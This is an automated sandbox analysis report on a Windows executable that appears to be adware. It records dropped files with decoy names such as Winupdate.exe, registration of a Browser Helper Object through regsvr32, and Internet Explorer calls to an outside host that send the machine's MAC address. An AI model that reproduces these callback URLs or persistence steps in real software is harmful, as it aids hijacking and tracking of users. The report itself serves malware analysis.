Analysis
-
max time kernel
142s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
21-03-2024 17:18
Static task
static1
Behavioral task
behavioral1
Sample
dc2f1aa97d98d83b66f0d5253bb41165.exe
Resource
win7-20240221-en
General
-
Target
dc2f1aa97d98d83b66f0d5253bb41165.exe
-
Size
480KB
-
MD5
dc2f1aa97d98d83b66f0d5253bb41165
-
SHA1
50b29cb8c0d3bbcdc95f4681557a886ae4efdd62
-
SHA256
ebf662eb519aa12b8a23b9088490eaf8a45101314faf5496898f2c327e705e72
-
SHA512
8467b665f696280835e49ec625a71e0944d5f1f54ff7ef42fc729c24ba8e93fc3bde9bb352b3a026b710bb76441b5d64bd332a994385c05dd4ecfce5a6bd3228
-
SSDEEP
3072:zBm/NmZbzsAsEJORf8R3yM5UG/LMFlfXztiU1PQM5UG/LMFlfXpmZb:dmFmZHwzaCM//wJP1oM//w5mZ
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation dc2f1aa97d98d83b66f0d5253bb41165.exe Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation Winupdate.exe -
Executes dropped EXE 2 IoCs
pid Process 228 Winupdate.exe 4564 Winspss.exe -
Loads dropped DLL 1 IoCs
pid Process 1716 regsvr32.exe -
Installs/modifies Browser Helper Object 2 TTPs 1 IoCs
BHOs are DLL modules which act as plugins for Internet Explorer.
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FF71FF86-04AC-4cb2-A35A-1262BF791A01} regsvr32.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File created C:\WINDOWS\SysWOW64\4875\Winspss.exe dc2f1aa97d98d83b66f0d5253bb41165.exe File created C:\WINDOWS\SysWOW64\4875\PowerHacker_Charm.dll dc2f1aa97d98d83b66f0d5253bb41165.exe File created C:\WINDOWS\SysWOW64\4875\PowerHacker.ini dc2f1aa97d98d83b66f0d5253bb41165.exe File created C:\Windows\SysWOW64\psjm.dll dc2f1aa97d98d83b66f0d5253bb41165.exe File created C:\WINDOWS\SysWOW64\4875\Winupdate.exe dc2f1aa97d98d83b66f0d5253bb41165.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{0C597D78-E7A7-11EE-87B8-628714877227} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000055176c4ced34542856d0f29947515a500000000020000000000106600000001000020000000eae00ac8c3dc764d8f86ebc1420027cdef75a392656c00240d8289e6b9b1e787000000000e800000000200002000000003cda4bcebcb9995683ee803b914a1be874d4ea2f0d35f7feb2a91c91ac752292000000084278da60d67cbf27faf0145e9d9f99678934ba283e2d2893ac5f829d5e2609940000000198e5a7b9d8f297da5cabe2b803d8e7c5734214dd890e2e878dcebd31e4edfffad1e46f3c4a5e7848ba80edb7c84bfc0fb5fd9d5a55067c5f7b5333f8865f603 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31095731" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3821346590" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3821346590" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31095731" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31095731" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "417806489" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3780721503" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3780721503" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31095731" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31095731" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 402281cfb37bda01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3821033987" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3821033987" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31095731" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Modifies registry class 46 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob\ = "nop1 Class" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib\ = "{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob.1\ = "nop1 Class" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib\ = "{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\ProgID\ = "new.myb.1" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\InprocServer32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ProxyStubClsid32 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\ = "noep Class" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\VersionIndependentProgID regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\HELPDIR\ = "C:\\Windows\\System32" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob.1\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob\CurVer\ = "new.myb.1" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\TypeLib\ = "{5399FC70-D920-4d82-8FDE-CC3AD2DE6B76}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\HELPDIR regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib\Version = "1.0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob.1 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\Programmable regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\ = "s 1.0 Type Library" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\FLAGS\ = "0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\0\win32\ = "C:\\Windows\\SysWow64\\psjm.dll" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\0 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob.1\CLSID\ = "{FF71FF86-04AC-4cb2-A35A-1262BF791A01}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob\CLSID\ = "{FF71FF86-04AC-4cb2-A35A-1262BF791A01}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob\CurVer regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\ProgID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\VersionIndependentProgID\ = "new.myb" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\0\win32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\TypeLib\Version = "1.0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ = "Imyob" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Nnew.myob regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\InprocServer32\ = "C:\\Windows\\SysWow64\\psjm.dll" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF71FF86-04AC-4cb2-A35A-1262BF791A01}\InprocServer32\ThreadingModel = "Apartment" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5399FC70-D920-4D82-8FDE-CC3AD2DE6B76}\1.0\FLAGS regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ = "Imyob" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3DCE6BAA-C252-4ED2-A758-E2FEAD9A1BCC} regsvr32.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 988 iexplore.exe 988 iexplore.exe -
Suspicious use of SetWindowsHookEx 18 IoCs
pid Process 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 988 iexplore.exe 988 iexplore.exe 684 IEXPLORE.EXE 684 IEXPLORE.EXE 228 Winupdate.exe 228 Winupdate.exe 228 Winupdate.exe 4564 Winspss.exe 4564 Winspss.exe 4564 Winspss.exe 988 iexplore.exe 988 iexplore.exe 2360 IEXPLORE.EXE 2360 IEXPLORE.EXE 2360 IEXPLORE.EXE 2360 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 1060 wrote to memory of 988 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 90 PID 1060 wrote to memory of 988 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 90 PID 988 wrote to memory of 684 988 iexplore.exe 91 PID 988 wrote to memory of 684 988 iexplore.exe 91 PID 988 wrote to memory of 684 988 iexplore.exe 91 PID 1060 wrote to memory of 1716 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 92 PID 1060 wrote to memory of 1716 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 92 PID 1060 wrote to memory of 1716 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 92 PID 1060 wrote to memory of 228 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 93 PID 1060 wrote to memory of 228 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 93 PID 1060 wrote to memory of 228 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 93 PID 1060 wrote to memory of 4564 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 94 PID 1060 wrote to memory of 4564 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 94 PID 1060 wrote to memory of 4564 1060 dc2f1aa97d98d83b66f0d5253bb41165.exe 94 PID 228 wrote to memory of 1468 228 Winupdate.exe 95 PID 228 wrote to memory of 1468 228 Winupdate.exe 95 PID 988 wrote to memory of 2360 988 iexplore.exe 96 PID 988 wrote to memory of 2360 988 iexplore.exe 96 PID 988 wrote to memory of 2360 988 iexplore.exe 96
Processes
-
C:\Users\Admin\AppData\Local\Temp\dc2f1aa97d98d83b66f0d5253bb41165.exe"C:\Users\Admin\AppData\Local\Temp\dc2f1aa97d98d83b66f0d5253bb41165.exe"1⤵
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://up1.adlay.net/App/Pro/rialtom_cnt.php?mac=62-87-14-87-72-27&key=kmj&pid=rain2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:17410 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:684
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:82946 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2360
-
-
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /s psjm.dll2⤵
- Loads dropped DLL
- Installs/modifies Browser Helper Object
- Modifies registry class
PID:1716
-
-
C:\WINDOWS\SysWOW64\4875\Winupdate.exeWinupdate.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:228 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://up1.adlay.net/App/Pro/rialtom_pro.php?mac=62-87-14-87-72-27&key=kmj3⤵
- Modifies Internet Explorer settings
PID:1468
-
-
-
C:\WINDOWS\SysWOW64\4875\Winspss.exeWinspss.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4564
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
-
Filesize
48KB
MD5addc0dd99f694a8df3caac3fa7c3fda3
SHA144d3310c26fba0bab0c679966ca7e26f7333dbc7
SHA25654203137d5f8dab7b9d47af23d46afd7f8f7a20205d734f30c622167f4a9ac8f
SHA5128fba70f876e5dd420532335d960dcb9c1af2d056c771410b778b43ca7db898d70f406ef8f1866f8308e95bb63f9cbd4b4f4ebd2a89fa93dd9bb79948f0bd5451
-
Filesize
212KB
MD58cea2d23c693ea6fa8e41ea6d9cc3432
SHA1e965e000871a0b8e6b206256ddcf7657b13cc931
SHA2567f486807cae14b4913ed33d7e3fe468d7fb97a4e8ae7b7e281a8226d6f5047a1
SHA51263ff64ca8736b23f6b23466ddd35efb26dd0fdf1675926ef2c74e608384748b7f445c8711105b52dbfc859bdf67fe0e790f5d0365e0b6bcbb1ed90600b45ae99